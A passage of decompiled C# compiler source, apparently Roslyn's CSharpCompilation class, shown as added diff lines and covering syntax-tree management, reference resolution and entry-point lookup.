CompilationUnitSyntax compilationUnitRoot = val.GetCompilationUnitRoot(); + if (((SyntaxNode)compilationUnitRoot).HasErrors) + { + return false; + } + if (((SyntaxNode)compilationUnitRoot).DescendantNodes((Func)((SyntaxNode n) => n is GlobalStatementSyntax || n is StatementSyntax || n is CompilationUnitSyntax), false).Any((SyntaxNode n) => n.IsKind(SyntaxKind.ReturnStatement))) + { + return true; + } + GlobalStatementSyntax globalStatementSyntax = (GlobalStatementSyntax)((IEnumerable)(object)compilationUnitRoot.Members).LastOrDefault((MemberDeclarationSyntax m) => ((SyntaxNode?)(object)m).IsKind(SyntaxKind.GlobalStatement)); + if (globalStatementSyntax != null) + { + StatementSyntax statement = globalStatementSyntax.Statement; + if (((SyntaxNode?)(object)statement).IsKind(SyntaxKind.ExpressionStatement)) + { + ExpressionStatementSyntax expressionStatementSyntax = (ExpressionStatementSyntax)statement; + SyntaxToken semicolonToken = expressionStatementSyntax.SemicolonToken; + if (((SyntaxToken)(ref semicolonToken)).IsMissing) + { + SemanticModel semanticModel = ((Compilation)this).GetSemanticModel(val, false); + ExpressionSyntax expression = expressionStatementSyntax.Expression; + TypeInfo typeInfo = semanticModel.GetTypeInfo((SyntaxNode)(object)expression, default(CancellationToken)); + ITypeSymbol convertedType = ((TypeInfo)(ref typeInfo)).ConvertedType; + if (convertedType == null) + { + return true; + } + return (int)convertedType.SpecialType != 6; + } + } + } + return false; + } + + public bool ContainsSyntaxTree(SyntaxTree? syntaxTree) + { + if (syntaxTree != null) + { + return _syntaxAndDeclarations.GetLazyState().RootNamespaces.ContainsKey(syntaxTree); + } + return false; + } + + public CSharpCompilation AddSyntaxTrees(params SyntaxTree[] trees) + { + return AddSyntaxTrees((IEnumerable)trees); + } + + public CSharpCompilation AddSyntaxTrees(IEnumerable trees) + { + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + if (trees == null) + { + throw new ArgumentNullException("trees"); + } + if (EnumerableExtensions.IsEmpty(trees)) + { + return this; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + SyntaxAndDeclarationManager syntaxAndDeclarations = _syntaxAndDeclarations; + ISetExtensions.AddAll((ISet)instance, ((CommonSyntaxAndDeclarationManager)syntaxAndDeclarations).ExternalSyntaxTrees); + bool flag = true; + int num = 0; + foreach (CSharpSyntaxTree item in trees.Cast()) + { + if (item == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "trees", num)); + } + if (!((SyntaxTree)item).HasCompilationUnitRoot) + { + throw new ArgumentException(CSharpResources.TreeMustHaveARootNodeWith, string.Format("{0}[{1}]", "trees", num)); + } + if (((HashSet)(object)instance).Contains((SyntaxTree)(object)item)) + { + throw new ArgumentException(CSharpResources.SyntaxTreeAlreadyPresent, string.Format("{0}[{1}]", "trees", num)); + } + if (((Compilation)this).IsSubmission && (int)((ParseOptions)item.Options).Kind == 0) + { + throw new ArgumentException(CSharpResources.SubmissionCanOnlyInclude, string.Format("{0}[{1}]", "trees", num)); + } + ((HashSet)(object)instance).Add((SyntaxTree)(object)item); + flag &= !item.HasReferenceOrLoadDirectives; + num++; + } + instance.Free(); + if (((Compilation)this).IsSubmission && num > 1) + { + throw new ArgumentException(CSharpResources.SubmissionCanHaveAtMostOne, "trees"); + } + syntaxAndDeclarations = syntaxAndDeclarations.AddSyntaxTrees(trees); + return Update(_referenceManager, flag, syntaxAndDeclarations); + } + + public CSharpCompilation RemoveSyntaxTrees(params SyntaxTree[] trees) + { + return RemoveSyntaxTrees((IEnumerable)trees); + } + + public CSharpCompilation RemoveSyntaxTrees(IEnumerable trees) + { + if (trees == null) + { + throw new ArgumentNullException("trees"); + } + if (EnumerableExtensions.IsEmpty(trees)) + { + return this; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + SyntaxAndDeclarationManager syntaxAndDeclarations = _syntaxAndDeclarations; + ISetExtensions.AddAll((ISet)instance2, ((CommonSyntaxAndDeclarationManager)syntaxAndDeclarations).ExternalSyntaxTrees); + bool flag = true; + int num = 0; + foreach (CSharpSyntaxTree item in trees.Cast()) + { + if (!((HashSet)(object)instance2).Contains((SyntaxTree)(object)item)) + { + ImmutableDictionary loadedSyntaxTreeMap = syntaxAndDeclarations.GetLazyState().LoadedSyntaxTreeMap; + if (SyntaxAndDeclarationManager.IsLoadedSyntaxTree((SyntaxTree)(object)item, loadedSyntaxTreeMap)) + { + throw new ArgumentException(CSharpResources.SyntaxTreeFromLoadNoRemoveReplace, string.Format("{0}[{1}]", "trees", num)); + } + throw new ArgumentException(CSharpResources.SyntaxTreeNotFoundToRemove, string.Format("{0}[{1}]", "trees", num)); + } + ((HashSet)(object)instance).Add((SyntaxTree)(object)item); + flag &= !item.HasReferenceOrLoadDirectives; + num++; + } + instance2.Free(); + syntaxAndDeclarations = syntaxAndDeclarations.RemoveSyntaxTrees((HashSet)(object)instance); + instance.Free(); + return Update(_referenceManager, flag, syntaxAndDeclarations); + } + + public CSharpCompilation RemoveAllSyntaxTrees() + { + SyntaxAndDeclarationManager syntaxAndDeclarations = _syntaxAndDeclarations; + return Update(_referenceManager, !syntaxAndDeclarations.MayHaveReferenceDirectives(), syntaxAndDeclarations.WithExternalSyntaxTrees(ImmutableArray.Empty)); + } + + public CSharpCompilation ReplaceSyntaxTree(SyntaxTree oldTree, SyntaxTree? newTree) + { + oldTree = (SyntaxTree)(object)(CSharpSyntaxTree)(object)oldTree; + newTree = (SyntaxTree?)(object)(CSharpSyntaxTree)(object)newTree; + if (oldTree == null) + { + throw new ArgumentNullException("oldTree"); + } + if (newTree == null) + { + return RemoveSyntaxTrees(oldTree); + } + if (newTree == oldTree) + { + return this; + } + if (!newTree.HasCompilationUnitRoot) + { + throw new ArgumentException(CSharpResources.TreeMustHaveARootNodeWith, "newTree"); + } + SyntaxAndDeclarationManager syntaxAndDeclarations = _syntaxAndDeclarations; + ImmutableArray externalSyntaxTrees = ((CommonSyntaxAndDeclarationManager)syntaxAndDeclarations).ExternalSyntaxTrees; + if (!externalSyntaxTrees.Contains(oldTree)) + { + ImmutableDictionary loadedSyntaxTreeMap = syntaxAndDeclarations.GetLazyState().LoadedSyntaxTreeMap; + if (SyntaxAndDeclarationManager.IsLoadedSyntaxTree(oldTree, loadedSyntaxTreeMap)) + { + throw new ArgumentException(CSharpResources.SyntaxTreeFromLoadNoRemoveReplace, "oldTree"); + } + throw new ArgumentException(CSharpResources.SyntaxTreeNotFoundToRemove, "oldTree"); + } + if (externalSyntaxTrees.Contains(newTree)) + { + throw new ArgumentException(CSharpResources.SyntaxTreeAlreadyPresent, "newTree"); + } + bool reuseReferenceManager = !oldTree.HasReferenceOrLoadDirectives() && !newTree.HasReferenceOrLoadDirectives(); + syntaxAndDeclarations = syntaxAndDeclarations.ReplaceSyntaxTree(oldTree, newTree); + return Update(_referenceManager, reuseReferenceManager, syntaxAndDeclarations); + } + + internal override int GetSyntaxTreeOrdinal(SyntaxTree tree) + { + try + { + return _syntaxAndDeclarations.GetLazyState().OrdinalMap[tree]; + } + catch (KeyNotFoundException) + { + throw new KeyNotFoundException("Syntax tree not found with file path: " + tree.FilePath); + } + } + + internal OneOrMany GetSyntaxTreesByMappedPath(string mappedPath) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + ImmutableSegmentedDictionary> mappedPathToSyntaxTree = _mappedPathToSyntaxTree; + if (mappedPathToSyntaxTree.IsDefault) + { + RoslynImmutableInterlocked.InterlockedInitialize>(ref _mappedPathToSyntaxTree, computeMappedPathToSyntaxTree()); + mappedPathToSyntaxTree = _mappedPathToSyntaxTree; + } + OneOrMany result = default(OneOrMany); + if (!mappedPathToSyntaxTree.TryGetValue(mappedPath, ref result)) + { + return OneOrMany.Empty; + } + return result; + ImmutableSegmentedDictionary> computeMappedPathToSyntaxTree() + { + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + Builder> val = ImmutableSegmentedDictionary.CreateBuilder>(); + SourceReferenceResolver sourceReferenceResolver = ((CompilationOptions)Options).SourceReferenceResolver; + ImmutableArray.Enumerator enumerator = SyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + string text = ((sourceReferenceResolver != null) ? sourceReferenceResolver.NormalizePath(current.FilePath, (string)null) : null) ?? current.FilePath; + val[text] = (val.ContainsKey(text) ? val[text].Add(current) : OneOrMany.Create(current)); + } + return val.ToImmutable(); + } + } + + internal override CommonReferenceManager CommonGetBoundReferenceManager() + { + return (CommonReferenceManager)(object)GetBoundReferenceManager(); + } + + internal ReferenceManager GetBoundReferenceManager() + { + if ((object)_lazyAssemblySymbol == null) + { + _referenceManager.CreateSourceAssemblyForCompilation(this); + } + return _referenceManager; + } + + internal bool ReferenceManagerEquals(CSharpCompilation other) + { + return _referenceManager == other._referenceManager; + } + + internal Symbol? GetAssemblyOrModuleSymbol(MetadataReference reference) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (reference == null) + { + throw new ArgumentNullException("reference"); + } + MetadataReferenceProperties properties = reference.Properties; + if ((int)((MetadataReferenceProperties)(ref properties)).Kind == 0) + { + return ((CommonReferenceManager)(object)GetBoundReferenceManager()).GetReferencedAssemblySymbol(reference); + } + int referencedModuleIndex = ((CommonReferenceManager)(object)GetBoundReferenceManager()).GetReferencedModuleIndex(reference); + if (referencedModuleIndex >= 0) + { + return Assembly.Modules[referencedModuleIndex]; + } + return null; + } + + internal override TSymbol? GetSymbolInternal(ISymbol? symbol) + { + return (TSymbol)(object)symbol.GetSymbol(); + } + + public MetadataReference? GetDirectiveReference(ReferenceDirectiveTriviaSyntax directive) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + IDictionary, MetadataReference> referenceDirectiveMap = ((Compilation)this).ReferenceDirectiveMap; + string filePath = directive.SyntaxTree.FilePath; + SyntaxToken file = directive.File; + if (!referenceDirectiveMap.TryGetValue((filePath, ((SyntaxToken)(ref file)).ValueText), out var value)) + { + return null; + } + return value; + } + + public CSharpCompilation AddReferences(params MetadataReference[] references) + { + return (CSharpCompilation)(object)((Compilation)this).AddReferences(references); + } + + public CSharpCompilation AddReferences(IEnumerable references) + { + return (CSharpCompilation)(object)((Compilation)this).AddReferences(references); + } + + public CSharpCompilation RemoveReferences(params MetadataReference[] references) + { + return (CSharpCompilation)(object)((Compilation)this).RemoveReferences(references); + } + + public CSharpCompilation RemoveReferences(IEnumerable references) + { + return (CSharpCompilation)(object)((Compilation)this).RemoveReferences(references); + } + + public CSharpCompilation RemoveAllReferences() + { + return (CSharpCompilation)(object)((Compilation)this).RemoveAllReferences(); + } + + public CSharpCompilation ReplaceReference(MetadataReference oldReference, MetadataReference newReference) + { + return (CSharpCompilation)(object)((Compilation)this).ReplaceReference(oldReference, newReference); + } + + public override CompilationReference ToMetadataReference(ImmutableArray aliases = default(ImmutableArray), bool embedInteropTypes = false) + { + return (CompilationReference)(object)new CSharpCompilationReference(this, aliases, embedInteropTypes); + } + + private void GetAllUnaliasedModules(ArrayBuilder modules) + { + modules.AddRange(Assembly.Modules); + ReferenceManager boundReferenceManager = GetBoundReferenceManager(); + for (int i = 0; i < ((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies.Length; i++) + { + if (((CommonReferenceManager)(object)boundReferenceManager).DeclarationsAccessibleWithoutAlias(i)) + { + modules.AddRange(((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies[i].Modules); + } + } + } + + internal void GetUnaliasedReferencedAssemblies(ArrayBuilder assemblies) + { + ReferenceManager boundReferenceManager = GetBoundReferenceManager(); + int length = ((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies.Length; + assemblies.EnsureCapacity(assemblies.Count + length); + for (int i = 0; i < length; i++) + { + if (((CommonReferenceManager)(object)boundReferenceManager).DeclarationsAccessibleWithoutAlias(i)) + { + assemblies.Add(((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies[i]); + } + } + } + + public MetadataReference? GetMetadataReference(IAssemblySymbol assemblySymbol) + { + return ((Compilation)this).GetMetadataReference(assemblySymbol); + } + + private protected override MetadataReference? CommonGetMetadataReference(IAssemblySymbol assemblySymbol) + { + if (assemblySymbol is Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.AssemblySymbol { UnderlyingAssemblySymbol: var underlyingAssemblySymbol }) + { + return GetMetadataReference(underlyingAssemblySymbol); + } + return null; + } + + internal MetadataReference? GetMetadataReference(Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol? assemblySymbol) + { + return ((CommonReferenceManager)GetBoundReferenceManager()).GetMetadataReference((IAssemblySymbolInternal)(object)assemblySymbol); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol? GetCompilationNamespace(INamespaceSymbol namespaceSymbol) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + if (namespaceSymbol is Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.NamespaceSymbol namespaceSymbol2 && (int)namespaceSymbol.NamespaceKind == 3 && (object)namespaceSymbol.ContainingCompilation == this) + { + return namespaceSymbol2.UnderlyingNamespaceSymbol; + } + INamespaceSymbol containingNamespace = ((ISymbol)namespaceSymbol).ContainingNamespace; + if (containingNamespace == null) + { + return GlobalNamespace; + } + return GetCompilationNamespace(containingNamespace)?.GetNestedNamespace(((ISymbol)namespaceSymbol).Name); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol? GetCompilationNamespace(Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol namespaceSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)namespaceSymbol.NamespaceKind == 3 && namespaceSymbol.ContainingCompilation == this) + { + return namespaceSymbol; + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol containingNamespace = namespaceSymbol.ContainingNamespace; + if (containingNamespace == null) + { + return GlobalNamespace; + } + return GetCompilationNamespace(containingNamespace)?.GetNestedNamespace(namespaceSymbol.Name); + } + + internal bool GetExternAliasTarget(string aliasName, out Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol @namespace) + { + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Expected O, but got Unknown + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol value; + if (_externAliasTargets == null) + { + Interlocked.CompareExchange(ref _externAliasTargets, new ConcurrentDictionary(), null); + } + else if (_externAliasTargets.TryGetValue(aliasName, out value)) + { + @namespace = value; + return !(@namespace is MissingNamespaceSymbol); + } + ArrayBuilder val = null; + ReferenceManager boundReferenceManager = GetBoundReferenceManager(); + for (int i = 0; i < ((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies.Length; i++) + { + if (((CommonReferenceManager)(object)boundReferenceManager).AliasesOfReferencedAssemblies[i].Contains(aliasName)) + { + val = val ?? ArrayBuilder.GetInstance(); + val.Add(((CommonReferenceManager)(object)boundReferenceManager).ReferencedAssemblies[i].GlobalNamespace); + } + } + bool flag = val != null; + @namespace = (flag ? MergedNamespaceSymbol.Create(new NamespaceExtent(this), null, val.ToImmutableAndFree()) : new MissingNamespaceSymbol(new MissingModuleSymbol(new MissingAssemblySymbol(new AssemblyIdentity(Guid.NewGuid().ToString(), (Version)null, (string)null, default(ImmutableArray), false, false, AssemblyContentType.Default)), -1))); + @namespace = _externAliasTargets.GetOrAdd(aliasName, @namespace); + return flag; + } + + private ImplicitNamedTypeSymbol? BindScriptClass() + { + return (ImplicitNamedTypeSymbol)((Compilation)this).CommonBindScriptClass().GetSymbol(); + } + + internal bool IsSubmissionSyntaxTree(SyntaxTree tree) + { + if (((Compilation)this).IsSubmission) + { + return tree == ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).ExternalSyntaxTrees.SingleOrDefault(); + } + return false; + } + + private ImmutableArray BindGlobalImports() + { + UsingsFromOptionsAndDiagnostics usingsFromOptions = UsingsFromOptions; + CSharpCompilation previousSubmission = PreviousSubmission; + ImmutableArray result = ((previousSubmission != null) ? Imports.ExpandPreviousSubmissionImports(previousSubmission.GlobalImports, this) : ImmutableArray.Empty); + if (usingsFromOptions.UsingNamespacesOrTypes.IsEmpty) + { + return result; + } + if (result.IsEmpty) + { + return usingsFromOptions.UsingNamespacesOrTypes; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + instance.AddRange(usingsFromOptions.UsingNamespacesOrTypes); + ISetExtensions.AddAll((ISet)instance2, usingsFromOptions.UsingNamespacesOrTypes.Select((NamespaceOrTypeAndUsingDirective unt) => unt.NamespaceOrType)); + ImmutableArray.Enumerator enumerator = result.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator.Current; + if (((HashSet)(object)instance2).Add(current.NamespaceOrType)) + { + instance.Add(current); + } + } + instance2.Free(); + return instance.ToImmutableAndFree(); + } + + private UsingsFromOptionsAndDiagnostics BindUsingsFromOptions() + { + return UsingsFromOptionsAndDiagnostics.FromOptions(this); + } + + internal Imports GetSubmissionImports() + { + SyntaxTree val = ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).ExternalSyntaxTrees.SingleOrDefault(); + if (val == null) + { + return Imports.Empty; + } + return ((SourceNamespaceSymbol)SourceModule.GlobalNamespace).GetImports((CSharpSyntaxNode)(object)val.GetRoot(default(CancellationToken)), null); + } + + internal Imports GetPreviousSubmissionImports() + { + return _previousSubmissionImports.Value; + } + + private Imports ExpandPreviousSubmissionImports() + { + CSharpCompilation previousSubmission = PreviousSubmission; + if (previousSubmission == null) + { + return Imports.Empty; + } + return Imports.ExpandPreviousSubmissionImports(previousSubmission.GetPreviousSubmissionImports(), this).Concat(Imports.ExpandPreviousSubmissionImports(previousSubmission.GetSubmissionImports(), this)); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol GetSpecialType(SpecialType specialType) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected I4, but got Unknown + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + if ((int)specialType <= 0 || (int)specialType > 46) + { + throw new ArgumentOutOfRangeException("specialType", $"Unexpected SpecialType: '{(int)specialType}'."); + } + if (((Compilation)this).IsTypeMissing(specialType)) + { + MetadataTypeName fullName = MetadataTypeName.FromFullName(SpecialTypes.GetMetadataName(specialType), true, -1); + return new MissingMetadataTypeSymbol.TopLevel(Assembly.CorLibrary.Modules[0], ref fullName, specialType); + } + return Assembly.GetSpecialType(specialType); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol GetOrCreateNullableType(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeArgument) + { + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol = default(Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol); + if (!_typeToNullableVersion.TryGetValue(typeArgument, ref namedTypeSymbol)) + { + namedTypeSymbol = GetSpecialType((SpecialType)32).Construct(typeArgument); + _typeToNullableVersion.TryAdd(typeArgument, namedTypeSymbol); + } + return namedTypeSymbol; + } + + internal Symbol GetSpecialTypeMember(SpecialMember specialMember) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Assembly.GetSpecialTypeMember(specialMember); + } + + internal override ISymbolInternal CommonGetSpecialTypeMember(SpecialMember specialMember) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (ISymbolInternal)(object)GetSpecialTypeMember(specialMember); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol GetTypeByReflectionType(Type type, BindingDiagnosticBag diagnostics) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = Assembly.GetTypeByReflectionType(type); + if ((object)typeSymbol == null) + { + ExtendedErrorTypeSymbol extendedErrorTypeSymbol = new ExtendedErrorTypeSymbol(this, type.Name, 0, (DiagnosticInfo?)(object)CreateReflectionTypeNotFoundError(type)); + diagnostics.Add(extendedErrorTypeSymbol.ErrorInfo, NoLocation.Singleton); + typeSymbol = extendedErrorTypeSymbol; + } + return typeSymbol; + } + + private static CSDiagnosticInfo CreateReflectionTypeNotFoundError(Type type) + { + return new CSDiagnosticInfo(ErrorCode.ERR_GlobalSingleTypeNameNotFound, new object[1] { type.AssemblyQualifiedName ?? "" }, ImmutableArray.Empty, ImmutableArray.Empty); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? GetHostObjectTypeSymbol() + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + if (((Compilation)this).HostObjectType != null && (object)_lazyHostObjectTypeSymbol == null) + { + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol typeSymbol = Assembly.GetTypeByReflectionType(((Compilation)this).HostObjectType); + if ((object)typeSymbol == null) + { + MetadataTypeName fullName = MetadataTypeName.FromNamespaceAndTypeName(((Compilation)this).HostObjectType.Namespace ?? string.Empty, ((Compilation)this).HostObjectType.Name, true, -1); + typeSymbol = new MissingMetadataTypeSymbol.TopLevel(new MissingAssemblySymbol(AssemblyIdentity.FromAssemblyDefinition(((Compilation)this).HostObjectType.GetTypeInfo().Assembly)).Modules[0], ref fullName, (SpecialType)0, (DiagnosticInfo?)(object)CreateReflectionTypeNotFoundError(((Compilation)this).HostObjectType)); + } + Interlocked.CompareExchange(ref _lazyHostObjectTypeSymbol, typeSymbol, null); + } + return _lazyHostObjectTypeSymbol; + } + + internal SynthesizedInteractiveInitializerMethod? GetSubmissionInitializer() + { + if (!((Compilation)this).IsSubmission || (object)ScriptClass == null) + { + return null; + } + return ScriptClass.GetScriptInitializer(); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol? GetTypeByMetadataName(string fullyQualifiedMetadataName) + { + (Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol, Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol) conflicts; + return Assembly.GetTypeByMetadataName(fullyQualifiedMetadataName, includeReferences: true, isWellKnownType: false, out conflicts); + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol? GetEntryPoint(CancellationToken cancellationToken) + { + return GetEntryPointAndDiagnostics(cancellationToken).MethodSymbol; + } + + internal EntryPoint GetEntryPointAndDiagnostics(CancellationToken cancellationToken) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + if (_lazyEntryPoint == null) + { + SynthesizedSimpleProgramEntryPointSymbol simpleProgramEntryPoint = SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(this); + EntryPoint entryPoint; + if (!EnumBounds.IsApplication(((CompilationOptions)Options).OutputKind) && (object)ScriptClass == null) + { + if ((object)simpleProgramEntryPoint != null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + instance.Add(ErrorCode.ERR_SimpleProgramNotAnExecutable, simpleProgramEntryPoint.ReturnTypeSyntax.Location); + entryPoint = new EntryPoint(null, ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree()); + } + else + { + entryPoint = EntryPoint.None; + } + } + else + { + entryPoint = null; + if (((CompilationOptions)Options).MainTypeName != null && !StringExtensions.IsValidClrTypeName(((CompilationOptions)Options).MainTypeName)) + { + entryPoint = EntryPoint.None; + } + if (entryPoint == null) + { + entryPoint = new EntryPoint(FindEntryPoint(simpleProgramEntryPoint, cancellationToken, out ImmutableBindingDiagnostic sealedDiagnostics), sealedDiagnostics); + } + if (((CompilationOptions)Options).MainTypeName != null && (object)simpleProgramEntryPoint != null) + { + DiagnosticBag instance2 = DiagnosticBag.GetInstance(); + instance2.Add(ErrorCode.ERR_SimpleProgramDisallowsMainType, NoLocation.Singleton); + entryPoint = new EntryPoint(entryPoint.MethodSymbol, new ImmutableBindingDiagnostic(ImmutableArrayExtensions.Concat(entryPoint.Diagnostics.Diagnostics, instance2.ToReadOnlyAndFree()), entryPoint.Diagnostics.Dependencies)); + } + } + Interlocked.CompareExchange(ref _lazyEntryPoint, entryPoint, null); + } + return _lazyEntryPoint; + } + + private Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol? FindEntryPoint(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol? simpleProgramEntryPointSymbol, CancellationToken cancellationToken, out ImmutableBindingDiagnostic sealedDiagnostics) + { + //IL_055c: Unknown result type (might be due to invalid IL or missing references) + //IL_0561: Unknown result type (might be due to invalid IL or missing references) + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_0134: Unknown result type (might be due to invalid IL or missing references) + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_01b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Invalid comparison between Unknown and I4 + //IL_0253: Unknown result type (might be due to invalid IL or missing references) + //IL_0258: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Invalid comparison between Unknown and I4 + //IL_038a: Unknown result type (might be due to invalid IL or missing references) + //IL_038f: Unknown result type (might be due to invalid IL or missing references) + //IL_0477: Unknown result type (might be due to invalid IL or missing references) + //IL_047c: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + try + { + string mainTypeName = ((CompilationOptions)Options).MainTypeName; + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol globalNamespace = SourceModule.GlobalNamespace; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol scriptClass = ScriptClass; + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol namedTypeSymbol; + Enumerator enumerator; + if (mainTypeName != null) + { + if ((object)scriptClass != null) + { + instance.Add(ErrorCode.WRN_MainIgnored, NoLocation.Singleton, mainTypeName); + return scriptClass.GetScriptEntryPoint(); + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceOrTypeSymbol namespaceOrTypeSymbol = globalNamespace.GetNamespaceOrTypeByQualifiedName(mainTypeName.Split(new char[1] { '.' })).OfMinimalArity(); + if ((object)namespaceOrTypeSymbol == null) + { + instance.Add(ErrorCode.ERR_MainClassNotFound, NoLocation.Singleton, mainTypeName); + return null; + } + namedTypeSymbol = namespaceOrTypeSymbol as Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol; + if ((object)namedTypeSymbol == null || namedTypeSymbol.IsGenericType || ((int)namedTypeSymbol.TypeKind != 2 && (int)namedTypeSymbol.TypeKind != 10 && !namedTypeSymbol.IsInterface)) + { + instance.Add(ErrorCode.ERR_MainClassNotClass, namespaceOrTypeSymbol.GetFirstLocation(), namespaceOrTypeSymbol); + return null; + } + AddEntryPointCandidates(instance2, namedTypeSymbol.GetMembersUnordered()); + } + else + { + namedTypeSymbol = null; + AddEntryPointCandidates(instance2, GetSymbolsWithNameCore("Main", (SymbolFilter)4, cancellationToken)); + if ((object)scriptClass != null || (object)simpleProgramEntryPointSymbol != null) + { + enumerator = instance2.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol current = enumerator.Current; + if (!(current is SynthesizedSimpleProgramEntryPointSymbol)) + { + instance.Add(ErrorCode.WRN_MainIgnored, current.GetFirstLocation(), current); + } + } + if ((object)scriptClass != null) + { + return scriptClass.GetScriptEntryPoint(); + } + instance2.Clear(); + instance2.Add(simpleProgramEntryPointSymbol); + } + } + ArrayBuilder<(bool, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, BindingDiagnosticBag)> instance3 = ArrayBuilder<(bool, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol, BindingDiagnosticBag)>.GetInstance(); + BindingDiagnosticBag noMainFoundDiagnostics = BindingDiagnosticBag.GetInstance(instance); + ArrayBuilder instance4 = ArrayBuilder.GetInstance(); + enumerator = instance2.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol current2 = enumerator.Current; + BindingDiagnosticBag instance5 = 